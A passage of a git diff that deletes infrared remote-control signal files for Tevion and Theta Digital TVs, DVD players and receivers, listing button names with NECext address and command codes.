9F 00 00 -command: 51 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 52 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 54 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 55 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 56 00 00 00 -# -name: Rev -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 57 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 58 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 59 00 00 00 -# -name: tIMER -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 5A 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 5B 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 5D 00 00 00 -# -name: KEY_EDIT -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 5E 00 00 00 -# -name: Finalize -type: parsed -protocol: NECext -address: 00 9F 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_TE-0603/64,63.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_TE-0603/64,63.ir deleted file mode 100644 index 86d2c1c9d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_TE-0603/64,63.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PRG -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 00 00 00 00 -# -name: Up_Arrow -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 01 00 00 00 -# -name: SlowR -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 02 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 03 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 04 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 06 00 00 00 -# -name: Pause/Step -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 07 00 00 00 -# -name: CLR -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 08 00 00 00 -# -name: Down_Arrow -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 09 00 00 00 -# -name: SlowF -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 0A 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 0B 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 0C 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 0D 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 0E 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 0F 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 10 00 00 00 -# -name: Right_Arrow -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 11 00 00 00 -# -name: Display -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 13 00 00 00 -# -name: F.FWD -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 14 00 00 00 -# -name: Mark -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 15 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 16 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 17 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 18 00 00 00 -# -name: Left_Arrow -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 19 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 1A 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 1B 00 00 00 -# -name: F.RWD -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 1C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 1D 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 40 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 41 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 42 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 43 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 45 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 46 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 47 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 48 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 49 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 4A 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 4B 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 4D 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 4E 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 40 3F 00 00 -command: 4F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_TEV1020/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_TEV1020/0,-1.ir deleted file mode 100644 index 888283223..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_TEV1020/0,-1.ir +++ /dev/null @@ -1,290 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: Equaliser -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: Right_Arrow -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 41 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 42 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 43 00 00 00 -# -name: Up_Arrow -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 44 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 45 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 46 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 47 00 00 00 -# -name: Down_Arrow -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: KEY_0+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 49 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4A 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4B 00 00 00 -# -name: Left_Arrow -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4C 00 00 00 -# -name: L/R -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4D 00 00 00 -# -name: KEY_LANGUAGE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4E 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: Step -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: PBC -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 54 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 55 00 00 00 -# -name: N/P -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 56 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 57 00 00 00 -# -name: Random -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 58 00 00 00 -# -name: Mark -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 59 00 00 00 -# -name: Program -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5A 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5B 00 00 00 -# -name: Display -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5C 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5D 00 00 00 -# -name: Scan_Mode -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5E 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_Tevion-MD80383/5,5.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_Tevion-MD80383/5,5.ir deleted file mode 100644 index 16960666c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_Tevion-MD80383/5,5.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: purple -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 00 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 0E 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 10 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 12 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 13 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 14 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 15 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 17 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 18 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 19 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 19 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1A 00 00 00 -# -name: vt+ -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1E 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 1F 00 00 00 -# -name: vton -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 22 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 28 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 2B 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 2C 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 2D 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 31 00 00 00 -# -name: vtscreen -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 31 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 3A 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 3D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 40 00 00 00 -# -name: vtsize -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 40 00 00 00 -# -name: ent -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 43 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 43 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 55 00 00 00 -# -name: av -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 59 00 00 00 -# -name: vtsplit -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 59 00 00 00 -# -name: showview -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 60 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 05 05 00 00 -command: 63 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_Tevion-MD81035-ASAT-Code-0905/23,105.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_Tevion-MD81035-ASAT-Code-0905/23,105.ir deleted file mode 100644 index 6d78e5233..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_Tevion-MD81035-ASAT-Code-0905/23,105.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 02 00 00 00 -# -name: TVMix -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 03 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 04 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 09 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 0B 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 0C 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 0D 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 0E 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 0F 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 10 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 11 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 12 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 13 00 00 00 -# -name: hold -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 14 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 15 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 16 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 17 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 18 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 19 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 1B 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 1C 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 1D 00 00 00 -# -name: AV -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 1F 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 42 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 43 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 44 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 47 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 48 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 49 00 00 00 -# -name: magenta -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 4C 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 4C 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 4D 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 50 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 51 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 52 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 53 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 54 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 55 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 59 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 5A 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 17 69 00 00 -command: 5C 00 00 00 -# -name: TextOff -type: parsed -protocol: NECext -address: 17 69 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_TevionMd3607/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_TevionMd3607/7,-1.ir deleted file mode 100644 index ac11aec0b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tevion/Unknown_TevionMd3607/7,-1.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 00 00 00 00 -# -name: AB-Taste -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 02 00 00 00 -# -name: Stumm -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 03 00 00 00 -# -name: TurnOffOn -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 04 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 07 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 08 00 00 00 -# -name: MixText -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0F 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0F 00 00 00 -# -name: PauseVideoText -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 12 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 18 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 19 00 00 00 -# -name: Taste1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1A 00 00 00 -# -name: Taste2 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1B 00 00 00 -# -name: Taste3 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1C 00 00 00 -# -name: Taste4 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1D 00 00 00 -# -name: Taste5 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1E 00 00 00 -# -name: Taste6 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1F 00 00 00 -# -name: Taste7 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 20 00 00 00 -# -name: Taste8 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 21 00 00 00 -# -name: Taste9 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 22 00 00 00 -# -name: Taste0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 23 00 00 00 -# -name: AdvNum -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 25 00 00 00 -# -name: OffText -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 26 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 27 00 00 00 -# -name: ShowClock -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 27 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 32 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 33 00 00 00 -# -name: Vor -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 34 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 36 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Theta Digital/DVD Player/163,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Theta Digital/DVD Player/163,-1.ir deleted file mode 100644 index 2c04c058e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Theta Digital/DVD Player/163,-1.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STOP -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 98 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: AUDIO_MODE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: CONDITION -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: PLAY_< -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: SLOW_MOTION_- -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: SLOW_MOTION_+ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: FRAME_>> -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9A 00 00 00 -# -name: FRAME_<< -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9B 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9C 00 00 00 -# -name: PREV. -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9D 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9E 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Theta Digital/DVD Player/175,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Theta Digital/DVD Player/175,-1.ir deleted file mode 100644 index 915c9ea02..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Theta Digital/DVD Player/175,-1.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 36 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 63 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 64 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A0 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A1 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A2 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A3 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A4 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A5 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A6 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A7 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A8 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A9 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B0 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B1 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B5 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B6 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B9 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: BC 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: BE 00 00 00 -# -name: -type: parsed 